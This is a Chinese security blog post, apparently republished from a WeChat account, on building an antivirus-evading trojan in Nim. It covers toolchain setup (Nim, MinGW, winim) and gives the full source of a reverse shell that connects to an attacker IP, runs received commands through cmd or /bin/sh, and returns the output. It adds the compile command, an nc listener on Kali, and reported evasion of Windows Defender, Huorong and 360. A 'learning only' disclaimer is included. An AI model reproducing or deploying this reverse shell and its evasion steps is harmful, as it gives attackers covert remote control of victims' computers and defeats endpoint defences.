前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Nim之套接字免杀学习

Nim之套接字免杀学习

作者头像
乌鸦安全
发布2022-04-15 09:04:30
9180
发布2022-04-15 09:04:30
举报
文章被收录于专栏:乌鸦安全

✎ 阅读须知

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!

本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!

更新时间:2022.03.18

说明

本文代码部分参考:

代码语言:javascript
复制
https://www.bilibili.com/video/BV1Yr4y1Y7qP/

1. 前言

Nim这个语言属于比较小众的语言,所以被杀软盯的可能小了很多,免杀上有奇效,本次学习是看到了一个使用Nim写的Socket连接的功能,然后封装为木马,目前依旧是免杀Windows Defender的;

参考链接:https://www.bilibili.com/video/BV1Yr4y1Y7qP/ 在这里我从环境配置到文件打包,做一个整理。

2. nim介绍

Nim 是一种静态类型的、编译型、系统编程语言。它结合了其他成熟语言的成功概念(如 PythonAdaModula)。(参考:https://nim-lang-cn.org/)

3. 环境准备

测试机1:Windows 10 Windows Defender最新版

测试机2:Windows Server2019Windows Defender最新版火绒联网最新版

攻击机:Kali Linux

在以下测试中,均关闭Windows Defender最新版的自动上传样本功能。

4. Nim环境配置

4.1 Nim安装

https://nim-lang.org/install.html上选择下载Windows

然后选择x64位的下载:

Chrome浏览器下载的时候,会报毒:

在这里直接忽略就行了:

将得到的文件解压,然后再移动到C盘目录下(这个无所谓):

复制bin目录下的路径: C:\nim-1.6.4_x64\nim-1.6.4\bin

将该路径添加到环境变量中去:

按照这个步骤,选择系统变量之后,找到Path,编辑,再新建:

将信息填入之后,保存,打开cmd命令窗口,输入nim

此时代表Nim安装成功;

4.2 安装MinGW

MinGW是为Nim编译所必需的,MinGW主要是编译CC++代码用的,在这里一共有两种方式:

  • • 直接下载MinGW安装
  • • 利用Nim自带的程序finish.exe安装

4.2.1 直接安装MinGW

首先按照教程,安装MinGW 在这里有下载链接地址:

https://sourceforge.net/projects/mingw-w64/files/

下载最新版x64位版本:

64位系统建议选择x86_64-posix-sjlj 32位系统建议选择i686-posix-sjlj

MingGW64 版本区别于各版本说明 https://www.pcyo.cn/linux/20181212/216.html

将解压之后的文件放入到C盘根目录下:

然后来到bin目录下,使用命令行检查当前的gcc版本:

gcc.exe --version

然后就是和上面一样,设置系统环境变量:

控制面板\系统和安全\系统中,选择高级系统设置\高级\环境变量,设置环境变量:

MinGW添加到系统环境变量中去:

完成之后,确认退出:在新的命令行中尝试输入gcc.exe --version

此时证明MinGW安装成功。

4.2.2 利用Nim自带的程序finish.exe安装

Nim的环境中,有一个程序是finish.exe,可以利用该程序下载MinGW的安装包:

在命令行里面启动这个文件,一路Y下去之后,下载完成,利用自带的7z压缩工具进行解压,解压之后就是手动配置环境变量。

image.png

下载完成之后,来到下载文件的目录: C:\nim-1.6.4_x64\nim-1.6.4\dist\mingw64\bin 复制该路径,添加到系统变量中去,确认之后,打开一个新的cmd窗口,检测环境是否正常:

4.2.3 注意事项

上述的两种方法中只能使用一种,而且前提是先不使用Nim进行编译工作,否则会由于缓存问题导致第二种线上安装的方式编译出错。

4.3 安装winim库

下载地址:https://github.com/khchen/winim 在当前路径下,使用nimble install 安装即可。

5. Nim之套接字免杀学习

5.1 Socket代码

以下代码参考:

https://www.bilibili.com/video/BV1Yr4y1Y7qP/

在下面的代码里主要是需要自定义攻击机的ip和反弹的端口:

代码语言:javascript
复制
import net  
import osproc
import os 


var ip = "192.168.238.138"
var port = 55

var socket = newSocket()
var finalcommand : string

while true:
    try:
        socket.connect(ip, Port(port))
        while true:
            try:
                socket.send("<helloshell>")
                var command = socket.recvLine()
                if command == "bye":
                    socket.send("exit")
                    socket.close()
                    system.quit(0)
                if system.hostOS == "windows":
                    finalcommand = "cmd /C" & command
                else:
                    finalcommand = "/bin/sh -c" & command
                
                var (cmdres, _) = execCmdEx(finalcommand)
                socket.send(cmdres)
            except:
                socket.close()
                system.quit()
    except:
        echo ""
        sleep(5000)
        continue

其中定义攻击机的 ip192.168.238.138,端口是55

5.2 源码编译

在得到代码之后,在上述配置好Nim环境的Windows10上进行编译:

nim c -d:mingw Nim_socket.nim

编译成功之后会得到一个exe可执行文件。

5.3 上线测试

首先在kali攻击机上开启监听: nc -lvp 55

然后在Windows的cmd命令行中执行木马:

等待一下之后,反弹成功:

5.4 免杀测试

Windows Defender

火绒

360按位置查杀

360按位置查杀,最好不要云查杀,不然样本会被上传。

6. 总结

在以上的测试中,主要是参考了以下的链接:https://www.bilibili.com/video/BV1Yr4y1Y7qP/

在作者的说明中,该免杀理论上还可以过卡巴斯基,由此也看到了Nim代码的魅力,也看到了免杀上有很多厉害的师傅;

静态免杀只是皮毛,动态免杀比较关键;继续向各位师傅学习学习。。。。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-03-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 说明
  • 1. 前言
  • 2. nim介绍
  • 3. 环境准备
  • 4. Nim环境配置
    • 4.1 Nim安装
      • 4.2 安装MinGW
        • 4.2.1 直接安装MinGW
        • 4.2.2 利用Nim自带的程序finish.exe安装
        • 4.2.3 注意事项
      • 4.3 安装winim库
      • 5. Nim之套接字免杀学习
        • 5.1 Socket代码
          • 5.2 源码编译
            • 5.3 上线测试
              • 5.4 免杀测试
                • Windows Defender
                • 火绒
                • 360按位置查杀
            • 6. 总结
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档